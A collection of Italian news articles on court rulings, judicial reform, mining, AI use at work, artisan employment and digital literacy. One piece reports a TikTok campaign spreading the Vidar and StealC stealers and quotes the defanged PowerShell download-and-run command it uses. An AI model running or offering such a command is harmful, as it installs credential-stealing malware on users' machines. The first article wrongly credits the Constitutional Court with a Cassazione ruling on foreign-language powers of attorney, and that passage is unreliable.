Abuso d’ufficio, la Consulta dà il via libera all’abrogazione: nessun vincolo dalle convenzioni internazionali

È legittima l’abrogazione del reato di abuso d’ufficio. A sancirlo, in via definitiva, è la Corte costituzionale, che con la sentenza n. 95/2025, depositata il 3 luglio 2025, ha rigettato le questioni di legittimità costituzionale sollevate da ben quattordici giudici italiani, tra cui la Corte di cassazione. Il cuore del dibattito ruotava attorno alla compatibilità della cancellazione del delitto con gli obblighi internazionali assunti dall’Italia, in particolare quelli derivanti dalla Convenzione delle Nazioni Unite contro la corruzione — nota come Convenzione di Mérida.

La Corte ha chiarito che l’obbligo di utilizzare la lingua italiana negli atti processuali, previsto dall’articolo 122 c.p.c., non riguarda gli atti prodromici al processo — come le procure alle liti — e ha sottolineato come nessuna norma della Convenzione di Mérida imponga agli Stati firmatari di tipizzare espressamente l’abuso d’ufficio come reato nel proprio ordinamento penale. La stessa convenzione, infatti, prevede solo obblighi generali di prevenzione e repressione della corruzione, lasciando ampia discrezionalità agli Stati sulle specifiche figure di reato da configurare.

Ammissibili, invece, sono state considerate le questioni proposte dai giudici rimettenti in riferimento all’articolo 117, primo comma, della Costituzione, che vincola il legislatore nazionale al rispetto degli obblighi internazionali. Ma, entrando nel merito, la Corte ha escluso che l’abrogazione del reato di abuso d’ufficio rappresenti una violazione di tali obblighi, poiché né la Convenzione di Mérida né altri trattati ratificati dall’Italia impongono l’obbligo di configurare come reato simili condotte.

Rigettate anche le censure fondate sugli articoli 3 e 97 della Costituzione, con cui i giudici rimettenti denunciavano un presunto squilibrio nella tutela penale e un vuoto normativo nella protezione dei principi di buon andamento e imparzialità della pubblica amministrazione. In linea con una consolidata giurisprudenza, la Consulta ha ribadito l’inammissibilità di questioni volte a ottenere un intervento “in malam partem”, ossia a espandere la punibilità, ricordando che la materia penale è riservata alla discrezionalità del legislatore.

Nelle motivazioni, la Corte ha inoltre evidenziato come valutare se i vuoti di tutela lasciati dall’abrogazione siano bilanciati dai benefici della riforma sia una questione di esclusiva responsabilità politica del legislatore, non sottoponibile al sindacato di legittimità costituzionale, se non in presenza di specifiche violazioni di norme costituzionali o obblighi internazionali, che nel caso di specie non sono state ravvisate.

Con questa pronuncia, la Consulta chiude così uno dei capitoli più controversi della recente riforma della giustizia penale varata con la legge n. 114 del 2024, confermando che la scelta di eliminare l’abuso d’ufficio dall’ordinamento resta legittima sul piano costituzionale e internazionale, e ribadendo il limite invalicabile tra il controllo di costituzionalità e la funzione legislativa.

Resta ora alla politica — come la stessa Corte sottolinea — il compito di valutare se, e come, garantire in modo diverso la tutela penale dell’imparzialità e del buon andamento amministrativo senza ricorrere a fattispecie vaghe o di difficile applicazione.


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Procura alle liti in lingua straniera? È valida: lo chiariscono le Sezioni Unite civili

Un importante chiarimento in materia di diritto processuale civile arriva dalle Sezioni Unite della Corte di Cassazione, che con la recente sentenza n. 17876/2025 hanno definito i confini applicativi dell’obbligo di utilizzare la lingua italiana nei procedimenti giudiziari.

La questione riguardava la validità di una procura speciale alle liti rilasciata all’estero, redatta in lingua straniera e priva di traduzione ufficiale. A sollevare l’eccezione di nullità era stata un’erede nel contesto di un procedimento successorio, contestando la validità della procura conferita da un altro partecipante alla lite, autenticata da un notaio della Florida.

Le Sezioni Unite hanno stabilito che l’obbligo dell’uso della lingua italiana sancito dall’articolo 122 del Codice di procedura civile si riferisce esclusivamente agli atti processuali propriamente detti, ovvero quelli formati nel e per il processo. Gli atti prodromici, come la procura alle liti o la nomina dei rappresentanti processuali, non sono soggetti a tale vincolo.

La Corte ha sottolineato come imporre la traduzione in lingua italiana di una procura rilasciata all’estero — in assenza di una specifica previsione normativa — costituirebbe un ostacolo ingiustificato al diritto di agire in giudizio, in violazione del principio di tassatività delle cause di nullità previsto dall’art. 156 c.p.c. e delle garanzie di accesso alla giustizia.

Secondo il principio di diritto affermato dalla Suprema Corte, quindi, la traduzione della procura e dell’atto di certificazione non costituisce requisito di validità, sia che si tratti di legalizzazione, sia in base alle Convenzioni internazionali di L’Aja (1961) e di Bruxelles (1987).

A disciplinare la questione resta l’art. 123 c.p.c., che prevede la facoltà per il giudice di disporre la nomina di un traduttore giurato nel caso in cui occorra esaminare documenti redatti in lingua straniera. Tale facoltà non è obbligo: il giudice può evitare di ricorrervi se è in grado di comprendere il documento o se non vi sono contestazioni sul suo contenuto o sulla traduzione allegata dalla parte.

La decisione della Corte rappresenta un approdo interpretativo coerente con i principi di efficienza del processo e di garanzia dell’effettivo esercizio del diritto di difesa. Una lettura moderna delle regole procedurali, attenta a evitare formalismi privi di reale tutela e in linea con l’esigenza di fluidità nei rapporti processuali transnazionali.

In conclusione, le Sezioni Unite hanno precisato che:

«In materia di atti prodromici al processo, quale la procura speciale alle liti, la traduzione in lingua italiana e l’attività certificativa non costituiscono requisito di validità, e la loro mancanza non determina nullità dell’atto».


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Italia, ritorno alle miniere: litio, grafite e terre rare nella nuova corsa ai minerali strategici

Dopo trent’anni di silenzio, l’Italia riapre le sue miniere, o meglio, ne esplora il potenziale. La corsa mondiale alle materie prime strategiche per le tecnologie verdi e digitali — dalle batterie elettriche ai semiconduttori, fino ai dispositivi per l’aerospazio — impone di muoversi. Così, il Comitato interministeriale per la Transizione ecologica ha dato il via libera al Programma nazionale di esplorazione mineraria generale (Pne), un progetto che punta a capire se e dove il sottosuolo italiano possa offrire risorse utili alla nuova economia industriale.

Un investimento di 3,5 milioni di euro finanzierà la prima fase: 14 progetti distribuiti in dieci regioni italiane, dalla Lombardia alla Sardegna, con il coinvolgimento di 400 specialisti e 15 unità operative coordinate dal Servizio geologico d’Italia (Ispra). Le esplorazioni dovrebbero partire a settembre e si concentreranno su materiali essenziali come litio, grafite, rame, antimonio, tungsteno, titanio, terre rare e fluorite.

Per ottenere risultati, il programma userà tecnologie avanzate: dalla radiografia muonica, che sfrutta i raggi cosmici per “leggere” le rocce, all’intelligenza artificiale per elaborare dati e aggiornare il database minerario nazionale Gemma.

Ma le criticità non mancano. Tre i punti deboli individuati dagli analisti:

  • la limitata conformazione territoriale, che secondo Maurizio Mazziero, analista finanziario e co-autore del libro La mappa del tesoro, permetterà all’Italia di eccellere solo su materiali specifici come fluorite e feldspati, con qualche produzione rilevante su litio, antimonio e titanio;

  • l’assenza di una filiera industriale per l’estrazione, raffinazione e lavorazione dei materiali. «Se estraiamo antimonio e poi dobbiamo raffinarlo in Cina per poi riacquistarlo — osserva Mazziero — non avremo risolto nulla in termini di autonomia»;

  • i fondi insufficienti: il programma ha una durata prevista di cinque anni, ma al momento è finanziato solo per il primo. Alla fine del primo anno verranno valutati i risultati e decisi eventuali proseguimenti.

Anche i tempi rappresentano un ostacolo. Dall’individuazione di un giacimento al primo grammo estratto possono passare tra i 12 e i 16 anni, un orizzonte temporale incompatibile con le urgenze imposte dalla transizione energetica e dalla competizione geopolitica.

A rallentare il progetto c’è poi la cronica carenza di ingegneri minerari. «Negli anni ’90 — racconta a La Stampa Mariachiara Zanetti, vicerettrice del Politecnico di Torino — in Italia c’erano cinque scuole di Ingegneria mineraria, oggi ne sopravvive una sola, con 15 iscritti al primo anno e il 60% stranieri, che il più delle volte tornano nei Paesi d’origine dopo la laurea».

Per colmare il vuoto professionale, Ispra ha attivato Summer School e corsi di formazione e-learning, ma servirà tempo, e soprattutto una visione di lungo periodo che finora è mancata.

Nel frattempo, la Cina continua a dominare il mercato globale dei minerali critici, forte di investimenti iniziati oltre 25 anni fa. Oggi Pechino controlla buona parte della raffinazione mondiale di terre rare, litio e cobalto, e ha intensificato le acquisizioni minerarie all’estero: nel 2023 sono state dieci le operazioni sopra i 100 milioni di dollari.

«Se l’Italia vuole davvero competere deve investire subito nella filiera industriale e nella formazione, e comprendere che le miniere non sono più solo buchi nel terreno, ma parte di una strategia energetica e industriale moderna e sostenibile», conclude Zanetti.

Il ritorno alle miniere, dunque, non sarà immediato né privo di ostacoli, ma rappresenta un passo necessario in un contesto internazionale dove il controllo delle materie prime sta rapidamente diventando questione di potere geopolitico, oltre che industriale. E dove, se non si agisce in fretta, la finestra temporale per recuperare terreno potrebbe presto richiudersi.


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Intelligenza Artificiale, i lavoratori corrono più delle aziende: il paradosso digitale che ridisegna il lavoro

C’è una rivoluzione silenziosa che attraversa uffici, coworking e smart working italiani, spinta dai lavoratori e inseguita dalle aziende. È quella dell’intelligenza artificiale, che ormai ha smesso di essere solo un tema da convegni o piani strategici per diventare pratica quotidiana e personale. E a certificarlo sono i numeri: l’85% dei dipendenti che utilizza sistemi di IA al lavoro sceglie strumenti trovati online, preferendoli a quelli forniti direttamente dall’azienda.

Un paradosso, quello fotografato dall’Osservatorio HR Innovation Practice del Politecnico di Milano, che svela il divario tra la velocità con cui i lavoratori si sono adattati alle potenzialità dell’IA e la lentezza con cui le imprese italiane riescono a governare questa trasformazione. Solo il 14% delle aziende, infatti, analizza sistematicamente l’impatto di queste tecnologie sul proprio personale.

«Le direzioni HR faticano a comprendere come i lavoratori stiano già utilizzando l’intelligenza artificiale nelle loro attività», spiega su La Repubblica Martina Mauri, direttrice dell’Osservatorio. «Il rischio è quello di assistere alla diffusione di nuovi strumenti e comportamenti senza una visione strategica né una regolamentazione adeguata».

Eppure, i vantaggi per chi ne fa uso sono evidenti. Secondo lo HP Work Relationship Index, il 73% dei lavoratori ritiene che l’IA renda il lavoro più facile, mentre il 69% ha già iniziato a personalizzarne l’utilizzo per aumentare produttività ed efficienza. Chi usa quotidianamente strumenti di intelligenza artificiale guadagna in media 50 minuti al giorno — tempo che nel 60% dei casi viene impiegato per aumentare la produttività, nel 53% per attività a maggior valore aggiunto e nel 44% per dedicarsi ad impegni personali o familiari.

La crescita dell’adozione è trasversale ma con picchi significativi tra i più giovani. La Generazione Z guida il cambiamento: il 54% di loro utilizza già strumenti di IA sul lavoro, contro il 43% dei colletti bianchi in generale. Ma è anche una rivoluzione che rischia di procedere senza regole, mettendo in discussione sicurezza dei dati, equilibri organizzativi e relazioni sociali sul luogo di lavoro.

Secondo i dati raccolti, il 36% dei lavoratori teme una dipendenza tecnologica per svolgere il proprio lavoro, il 33% avverte l’indebolimento delle relazioni interpersonali e il 45% denuncia un aumento dei carichi di lavoro e dei livelli di stress.

A tutto questo si aggiunge il tema dell’obsolescenza delle competenze: oggi il 10% dei lavoratori dovrebbe essere già riqualificato, perché le proprie skill non sono più adeguate o rischiano di non esserlo entro tre-cinque anni. Il 32% è preoccupato di diventare professionalmente obsoleto nel breve periodo.

«Viviamo una fase di trasformazione accelerata — avverte su La Repubblica Mariano Corso, responsabile scientifico dell’Osservatorio HR Innovation Practice — dove le aziende devono affrontare una crescente frustrazione dei lavoratori, alimentata dall’instabilità del mercato, da retribuzioni spesso inadeguate e da conflitti globali. La sfida è tracciare una rotta capace di valorizzare le nuove tecnologie, contenendo i rischi e investendo nella formazione di competenze digitali realmente spendibili».

In questo contesto, la tecnologia non è più solo un supporto, ma il catalizzatore di un nuovo paradigma organizzativo, che ridisegna i ruoli, i tempi e i modelli lavorativi, rendendo urgente per le imprese ripensare strategie HR, governance digitale e programmi di welfare.

Uno scenario che chiama a raccolta tutte le generazioni: dalla Gen X, solida nell’esperienza ma meno disinvolta con le tecnologie, ai Millennial, ponte tra flessibilità e digitale, fino alla Gen Z, nativa digitale che chiede benessere, equilibrio vita-lavoro e innovazione quotidiana.


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Artigianato batte industria: gli artigiani di Milano hanno il triplo degli occupati di Stellantis

Gli addetti nell’artigianato presenti nella ex provincia di Milano sono il triplo degli occupati che lavorano nel nostro Paese alle dipendenze del Gruppo Stellantis[1]. Se, infatti, la Città Metropolitana del capoluogo regionale lombardo può contare su poco più di 134mila addetti nell’artigianato, la casa automobilistica, invece, dà lavoro a 43mila persone[2] distribuite su gran parte del territorio nazionale[3]. Per trovare una provincia dove l’artigianato abbia lo stesso numero di addetti del principale gruppo manifatturiero del nostro Paese, dobbiamo riferirci a Genova o Varese. Il confronto è stato realizzato dall’Ufficio studi della CGIA.

  • Una provocazione per evidenziare il ruolo dell’artigianato

E’ palese, per stessa ammissione degli estensori di questo approfondimento, che questa comparazione va interpretata come una provocazione volta a evidenziare come l’artigianato – che rappresenta uno dei pilastri del nostro sistema economico – abbia una dimensione occupazionale nettamente superiore a quella riconducibile alla principale industria manifatturiera d’Italia. A livello nazionale, infatti, le imprese artigiane sono 1,24 milioni, gli addetti 2,8 milioni e nel 2022 il comparto ha generato un valore aggiunto di 143 miliardi (contro i 2,8 realizzati da Stellantis). Nonostante ciò, l’attenzione dei grandi media, dell’opinione pubblica e di buona parte della politica nazionale è quasi sempre rivolta ad analizzare l’andamento e i risultati del nostro principale gruppo automobilistico e, più in generale, delle poche grandi imprese rimaste nel Paese. Sia chiaro: è una condotta in parte giustificabile, ci mancherebbe. Tuttavia, andrebbe replicata più frequentemente anche nei riguardi delle piccole imprese e degli artigiani che, ripetiamo, costituiscono uno degli assi portanti del nostro sistema produttivo e occupazionale.

  • Le autofficine e carrozzerie artigiane, hanno nove volte gli occupati di Stellantis

Se restringiamo il campo alla sola filiera dell’auto[4], elaborando così un confronto più “omogeneo” di quello realizzato più sopra, le imprese artigiane di questo settore ubicate in Italia sono poco più di 72.600 e gli addetti 389.000[5]: nove volte in più dei dipendenti del  Gruppo Stellantis che, ricordiamo, alla fine del 2023 ammontavano a 43mila. Certo, molte autofficine e altrettante carrozzerie fanno parte dell’indotto del Gruppo e senza la presenza di quest’ultimo non esisterebbero. Tuttavia, la stragrande maggioranza lavorerebbe lo stesso, anche in assenza della casa automobilistica presieduta da John Elkann, poiché sono autoriparatori indipendenti o legati commercialmente ad altri produttori.

  • Tante imprese e lavoratori artigiani soprattutto nelle grandi aree urbane

Acconciatori, autoriparatori, edili, installatori impianti, officine meccaniche, trasportatori, etc., sono le principali attività artigianali che girando per i centri storici e le aree produttive presenti nelle periferie delle nostre città “incrociamo” ogni giorno. L’area che ne conta di più è Milano: in questa Città Metropolitana registriamo 67.530 aziende artigiane che danno lavoro a poco più di 134.300 addetti (di cui 60.900 dipendenti). Seguono Roma con 62.456 imprese e 103.400 occupati (di cui 37.432 dipendenti), Torino con 59.334 aziende e 115.570 addetti (di cui 49.343 dipendenti) e Brescia con 31.405 attività e 85.654 lavoratori (di cui 46.874 dipendenti).

  • Boom di autoriparatori a Roma

In riferimento alle attività artigiane della filiera dell’auto, a livello provinciale sono disponibili dati statistici non recentissimi (anno 2021). Detto ciò, la provincia con il più alto numero di addetti artigiani presenti in questo settore[6] è Roma con 22.707 attività. Seguono Milano con 19.276, Torino con 19.913, Napoli con 13.091 e Brescia con 10.542. Se prendiamo solo le prime due province italiane per numero di addetti artigiani nel settore dell’automotive, il numero complessivo di chi ci lavora (quasi 42.000 persone) sfiora quello degli occupati negli stabilimenti italiani del Gruppo Stellantis.

[1] Il Gruppo è costituito dai seguenti brand: Abarth, Alfa Romeo, Chrysler, Citroën, Dodge, DS Automobiles, Fiat, Jeep, Lancia, Maserati, Opel, Peugeot, Ram, Vauxhall, Free2move e Leasys.

[2] A cura del Prof. Fabiano Schivardi, “Stellantis e l’Italia: il contributo all’economia del paese e le risorse pubbliche ricevute”, Università Luiss “Guido Carli”, Roma 6 maggio 2025.

[3] I principali stabilimenti produttivi presenti in Italia sono; Mirafiori-Polo produttivo torinese, Modena, Cassino (Fr), Pomigliano d’Arco (Na), Melfi (Pz) e Atessa (Ch).

[4] Fabbricazione, riparazione, manutenzione e commercio

[5] Osservatorio MPI, Confartigianato Emilia Romagna, “Alcuni numeri chiave sulla filiera auto in Italia 2024, settembre 2024.

[6] Produzione, servizi e commercio (che include l’autoriparazione)


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TikTok diventa terreno fertile per i malware: ecco come gli hacker aggirano i controlli e colpiscono gli utenti

Il volto virale e patinato di TikTok nasconde sempre più spesso una minaccia invisibile e insidiosa. Secondo un recente studio condotto da Trend Micro, la popolare piattaforma di video brevi è divenuta il nuovo canale privilegiato per i cybercriminali che diffondono malware tra ignari utenti attraverso video tutorial apparentemente innocui.

Un’evoluzione del cybercrime che sfrutta la rapidità di diffusione dei contenuti social e la fiducia degli utenti nei confronti di guide e consigli digitali. Il risultato? Centinaia di migliaia di visualizzazioni in pochi giorni e migliaia di dispositivi esposti a software malevoli progettati per sottrarre password, dati personali e credenziali bancarie.

Il nuovo volto degli attacchi digitali
I malware protagonisti di questa nuova ondata sono Vidar e StealC, due software particolarmente aggressivi capaci di infiltrarsi nei dispositivi, sottrarre dati sensibili e aggirare i sistemi di sicurezza. Gli hacker sfruttano video camuffati da tutorial o trucchi per ottenere versioni gratuite di software a pagamento — da Windows OS a Microsoft Office, fino a CapCut e Spotify.

Gli esperti di Trend Micro hanno individuato diversi account coinvolti in questa campagna malevola, tra cui @gitallowed, @zane.houghton, @allaivo2, @sysglow.wow, @alexfixpc e @digitaldreams771, che attraverso video costruiti ad hoc raggiungono facilmente numeri impressionanti di visualizzazioni.

Come funziona l’inganno
Diversamente dalle classiche email di phishing o dai siti compromessi, questi attacchi sono ancora più subdoli perché non lasciano tracce evidenti sui server della piattaforma. I video vengono realizzati spesso con intelligenza artificiale, capaci di simulare perfetti tutorial in cui l’utente viene guidato a inserire stringhe di codice — come il comando PowerShell condiviso dall’account @gitallowed:

iex (irm hxxps://allaivo[.]me/spotify)

Un comando apparentemente innocuo, che in realtà avvia una catena di operazioni: dalla creazione di directory nascoste alla disattivazione di Windows Defender, fino all’installazione dei malware Vidar e StealC.

Le conseguenze: dal furto di dati al controllo totale del dispositivo
Gli effetti di questi attacchi possono essere devastanti. Oltre a sottrarre credenziali di accesso a servizi finanziari e dati personali, i malware riescono a mettere a segno veri e propri furti di identità e a compromettere anche le reti aziendali, creando varchi di sicurezza difficili da individuare e neutralizzare.

Il punto debole resta proprio la capacità di TikTok di rilevare tempestivamente questo tipo di minaccia, vista la rapidità con cui i contenuti si diffondono e la facilità con cui i cybercriminali possono aprire nuovi account.

Come difendersi da questa nuova minaccia
Gli esperti di sicurezza informatica lanciano l’allarme: siamo di fronte a una nuova era del cybercrime, in cui i social network diventano veicolo di attacchi sofisticati e difficilmente intercettabili.

Per tutelarsi, è indispensabile mantenere sempre aggiornati software e antivirus, affiancandoli a soluzioni di sicurezza avanzate capaci di rilevare anche le minacce meno convenzionali. Ma soprattutto è necessario adottare un approccio critico ai contenuti online: mai eseguire comandi o cliccare su link suggeriti in video tutorial se non si è assolutamente certi della loro provenienza.


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La Corte di cassazione penale torna a fare chiarezza su un delicato equilibrio tra esigenze familiari, diritto alla genitorialità e disciplina penitenziaria. Con la sentenza n. 24362/2025, i giudici di legittimità hanno accolto il ricorso di un padre detenuto cui il tribunale di sorveglianza aveva rigettato l’istanza di detenzione domiciliare speciale per accudire i propri figli minorenni, motivando il rigetto con la presenza di una madre non priva di occupazione.

Il caso
La vicenda riguarda una coppia con due bambini piccoli. Il padre, ristretto in carcere, aveva chiesto di poter espiare la pena ai domiciliari per prendersi cura dei figli, evidenziando che la madre — avvocato libero professionista — si trovava in forte difficoltà nel conciliare la cura dei minori con l’attività lavorativa, tanto da dover rinunciare a parte della clientela e rischiare di compromettere il proprio reddito.

Il tribunale di sorveglianza aveva però ritenuto inammissibile la richiesta, sostenendo che la madre dei minori fosse comunque presente e disponibile, escludendo quindi il presupposto normativo per l’accoglimento. Inoltre, il tribunale lamentava una documentazione insufficiente sul percorso rieducativo del detenuto.

Il rilievo della Cassazione
La Suprema Corte ha cassato la decisione, rimarcando come il giudice di sorveglianza avrebbe dovuto esercitare i propri poteri istruttori, acquisendo ulteriori elementi a integrazione della domanda, specie considerata l’esistenza di una relazione socio-familiare dell’Uepe che documentava chiaramente la situazione di criticità della madre e il progressivo impoverimento del nucleo familiare, come risultava anche dalla dichiarazione dei redditi.

Inoltre, per la Cassazione è errato ritenere che il solo fatto di essere una madre lavoratrice possa automaticamente escludere la concessione della misura alternativa al padre. È infatti necessario valutare in concreto se la madre sia effettivamente in grado di conciliare lavoro e cura dei figli senza pregiudizio grave né per i minori né per la propria autonomia lavorativa.

Il contraddittorio mancato
La decisione è stata annullata anche per la mancanza di contraddittorio, in quanto il rigetto è avvenuto de plano, senza convocare il difensore del detenuto e senza consentire di produrre ulteriore documentazione o chiarimenti. Un vizio che, secondo i giudici di legittimità, incide sulla validità del procedimento e sulla garanzia dei diritti della difesa.

Il precedente della Consulta
La difesa del ricorrente ha opportunamente richiamato anche una recente decisione della Corte costituzionale (aprile 2025) che ha dichiarato l’illegittimità parziale dell’articolo 47 quinquies dell’ordinamento penitenziario, laddove subordinava la concessione della detenzione domiciliare al padre detenuto solo all’assenza di altre figure parentali disponibili. Secondo la Consulta, in casi simili occorre verificare se la madre, pur presente, possa effettivamente occuparsi dei figli senza sacrificare eccessivamente la propria autonomia personale e professionale, tenendo conto della centralità del legame genitoriale anche paterno, già valorizzato da altri istituti giuridici in materia minorile.


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Procure, il CSM alleggerisce la circolare 2024. Scontro sul Massimario e nuova spinta sulla separazione delle carriere

Un Consiglio Superiore della Magistratura al lavoro su più fronti, tra revisione delle regole organizzative per le Procure, tensioni istituzionali e il dibattito ancora acceso sulla separazione delle carriere. È questo il quadro emerso dal Plenum di ieri, che ha approvato — a maggioranza e con otto astensioni — le modifiche alla circolare sull’organizzazione degli uffici di Procura, emanata il 3 luglio 2024 dopo l’entrata in vigore della riforma Cartabia.

Le novità per le Procure: semplificazione e più margini ai Procuratori
Su proposta della VII Commissione, il CSM ha snellito una serie di passaggi procedurali che avevano suscitato critiche e difficoltà applicative nei mesi successivi alla riforma. Tra le modifiche più rilevanti:

  • la reintroduzione dei provvedimenti attuativi, che consentono ai Procuratori di disporre assetti organizzativi interni coerenti col progetto approvato, senza più bisogno del via libera del CSM ma con una semplice presa d’atto;
  • la semplificazione delle modifiche al progetto organizzativo, che diventano immediatamente operative senza la preventiva consultazione di Presidente del Tribunale e Consiglio dell’Ordine degli Avvocati;
  • un iter più snello per le assegnazioni dei procedimenti in deroga, con possibilità di differire la comunicazione ai magistrati interessati per esigenze di segretezza investigativa.

Il pacchetto di modifiche è il risultato di nove mesi di analisi e confronto tra CSM e capi delle Procure, per bilanciare semplificazione procedurale, partecipazione interna e tutela dell’obbligatorietà dell’azione penale, senza compromettere la riservatezza delle indagini.

Scontro Nordio–Massimario: il CSM corre ai ripari
A tenere banco però è anche il caso politico-istituzionale esploso dopo le parole del ministro della Giustizia Carlo Nordio, che in un’intervista ha duramente criticato l’Ufficio del Massimario della Cassazione per la relazione tecnica con cui i giudici avevano segnalato criticità nel decreto sicurezza. Secondo Nordio, si sarebbe trattato di uno “sgarbo al Colle”, sostenendo che eventuali irregolarità sarebbero state rilevate dal Capo dello Stato al momento della promulgazione.

Parole che hanno scatenato la reazione dell’opposizione e anche del Consiglio Superiore della Magistratura. I consiglieri togati e i laici Roberto Romboli, Michele Papa ed Ernesto Carbone hanno infatti chiesto e ottenuto l’apertura di una pratica a tutela dei magistrati del Massimario, ritenendo che le reazioni politiche “abbiano travalicato i confini della dialettica istituzionale, restituendo all’opinione pubblica un’immagine distorta della funzione e del ruolo dell’Ufficio”.

Gasparri attacca: “Pareri strampalati”
A rincarare la dose è arrivato il commento di Maurizio Gasparri, presidente dei senatori di Forza Italia, che ha definito “eroici funzionari dello Stato” i magistrati del Massimario, salvo aggiungere che i pareri contestati sarebbero talmente infondati che “nessun magistrato avrebbe potuto scriverli nella vita”.

Separazione delle carriere: iter rallentato al Senato
Nel frattempo, a Palazzo Madama prosegue a rilento l’esame del disegno di legge costituzionale sulla separazione delle carriere tra giudici e pubblici ministeri. Approvato l’articolo 2 nei giorni scorsi, la conferenza dei capigruppo ha aggiornato la tabella di marcia: l’8 luglio si terrà una nuova riunione per decidere se imprimere un’accelerazione. Il voto finale potrebbe slittare alla settimana successiva, complice l’accumulo di decreti legge da convertire prima della pausa estiva.

Un clima istituzionale teso e delicato
Il clima rimane dunque particolarmente teso: da un lato un Consiglio Superiore impegnato a riorganizzare il funzionamento delle Procure nel quadro della riforma Cartabia, dall’altro le polemiche su provvedimenti governativi controversi e una riforma costituzionale divisiva che, pur approvata a tappe forzate dalla maggioranza, si avvia verso un probabile referendum confermativo dall’esito tutt’altro che scontato.


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Internet quotidiano per il 90% degli italiani, ma cresce l’allarme per odio e disinformazione online

Il 90% degli italiani accede quotidianamente a Internet, ma il panorama digitale che li accoglie è sempre più inquinato da contenuti d’odio, fake news e fenomeni pericolosi come il revenge porn e le sfide social estreme. È quanto emerge dal rapporto “I fabbisogni di alfabetizzazione mediatica e digitale nella popolazione italiana” pubblicato dall’Autorità per le Garanzie nelle Comunicazioni (AGCOM) e presentato alla stampa dal presidente Giacomo Lasorella, dal commissario Massimiliano Capitanio e dal direttore del Servizio Studi Mario Staderini.

Un ecosistema digitale ad alto rischio
Più della metà della popolazione ha già avuto modo di imbattersi in rete in contenuti d’odio, disinformazione e immagini intime diffuse senza consenso. A preoccupare è soprattutto la consapevolezza insufficiente dei cittadini: sebbene oltre otto italiani su dieci si dichiarino allarmati per questi fenomeni, ben il 44,1% non ha mai cercato aiuto o consigli su come difendersi o navigare in modo più consapevole.

A cercare sostegno, invece, sono soprattutto i minorenni: oltre la metà di loro si rivolge alla famiglia, un terzo agli insegnanti e il 30% ai coetanei.

Cosa fanno gli italiani online
Le abitudini digitali variano con l’età. Gli adulti e gli anziani usano principalmente la rete per informarsi, mentre i più giovani la frequentano per comunicare con amici e fruire di contenuti audiovisivi. Curioso il dato sui media durante i pasti: l’80% degli italiani guarda la TV mentre mangia, mentre tra i 6 e i 34 anni il 20% naviga sui social o guarda video online.

Il controllo dei genitori sui minori
Otto genitori su dieci regolano l’accesso dei figli ai media digitali, soprattutto con il monitoraggio diretto e la condivisione delle attività online. Più diffusi tra i genitori under 45 i limiti di tempo e il blocco di contenuti, mentre il 13% dei genitori vieta del tutto l’uso dei media e un 4,8% concede piena libertà. Solo il 12,5% delle famiglie però parla con i figli della propria esperienza di navigazione: un dato che segnala la necessità di rafforzare il dialogo in ambito domestico sul rapporto con il digitale.

Le sfide per i minori
Particolarmente esposti i più giovani: circa tre minorenni su quattro dichiarano di essersi imbattuti in contenuti pericolosi o inappropriati, che spaziano dalle sfide social estreme al cyberbullismo, passando per la pornografia non richiesta e l’incitamento all’uso di droghe o ai disturbi alimentari.

Cittadini più prudenti, ma alfabetizzazione scarsa
Oltre l’80% degli italiani adotta qualche forma di contrasto ai contenuti nocivi: più della metà evita di accedere alle piattaforme problematiche e circa un terzo verifica l’attendibilità delle fonti. Tuttavia, il grado di alfabetizzazione digitale rimane basso. Solo il 7% possiede un livello ottimale di conoscenza degli algoritmi di profilazione, mentre il 64,6% ha competenze scarse o nulle, percentuale che sale all’83% tra gli over 65.

La possibilità di personalizzare l’esperienza online è nota al 48% degli utenti, soprattutto tra i giovani adulti, mentre permane una forte disuguaglianza generazionale nella comprensione del funzionamento delle piattaforme.

AGCOM: “Siamo davanti a un inquinamento digitale”
Il commissario Capitanio ha definito la situazione come “un vero e proprio inquinamento digitale”, sottolineando l’urgenza di interventi strutturati di alfabetizzazione digitale per tutelare non solo i più giovani, ma l’intera cittadinanza.

“C’è bisogno — ha dichiarato Lasorella — di rafforzare i presidi educativi e di responsabilizzare tutti gli attori della filiera digitale, dalle scuole alle famiglie, fino alle stesse piattaforme, che devono garantire un ambiente online più sicuro e trasparente”.


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Separazione delle carriere, primo sì dal Senato: verso due magistrature distinte

Il Senato ha approvato l’articolo 2 del disegno di legge costituzionale che sancisce la separazione delle carriere tra magistrati giudicanti e requirenti, modificando così l’articolo 102 della Costituzione. Un passaggio cruciale nella riforma della giustizia voluta dall’attuale maggioranza, che ha visto respinte tutte le circa 1.300 proposte emendative presentate dalle opposizioni.

Il testo della modifica
Nel primo comma dell’articolo 102, accanto alla previsione per cui “La funzione giurisdizionale è esercitata da magistrati ordinari istituiti e regolati dalle norme sull’ordinamento giudiziario”, è stata introdotta la precisazione che “le quali disciplinano altresì le distinte carriere dei magistrati giudicanti e requirenti”. Una formula secca, ma destinata ad avere conseguenze rilevanti sull’assetto della magistratura.

Il cammino parlamentare e i prossimi passaggi
L’esame degli articoli successivi della riforma proseguirà nei prossimi giorni, a partire dagli articoli 3 e 4, che entreranno nel merito della concreta articolazione delle carriere separate e della costituzione di due distinti Consigli Superiori della Magistratura: uno per i giudici e uno per i pubblici ministeri.

Le reazioni dell’ANM: “Una ferita all’autonomia della magistratura”
Deciso e preoccupato il commento dell’Associazione Nazionale Magistrati. Il presidente Cesare Parodi, intervenuto a Catanzaro durante un incontro con i magistrati del distretto, ha sottolineato come l’approvazione al Senato rappresenti solo l’ennesima tappa di un percorso ormai segnato.

“Fin dall’inizio — ha dichiarato Parodi — è stato chiaro che non vi sarebbe stato alcuno spazio per modificare il progetto originario. Attendiamo ora l’esito del referendum che, a questo punto, diventa l’unico vero passaggio in cui i cittadini potranno pronunciarsi su una riforma che rischia di compromettere in maniera significativa l’autonomia e l’indipendenza della magistratura”.

Il presidente dell’ANM ha ribadito le critiche non solo sulla separazione delle carriere in sé, ma sull’intero impianto della riforma, definito come un sistema che finirà per limitare la capacità dei magistrati di esercitare il proprio ruolo di garanzia in modo libero da pressioni esterne e politiche.

“Non possiamo certo cambiare posizione oggi — ha concluso Parodi —. Continueremo a diffondere la nostra visione della giustizia e a difendere i valori costituzionali che garantiscono ai cittadini un giudice imparziale e un pubblico ministero indipendente”.

Proteste simboliche e mobilitazioni
Già a inizio anno l’ANM aveva inscenato diverse forme di protesta pubblica, tra cui flash mob con la Costituzione in mano davanti ai palazzi della giustizia, denunciando i rischi di isolamento istituzionale del pubblico ministero e l’indebolimento complessivo della funzione giurisdizionale.

Verso il referendum
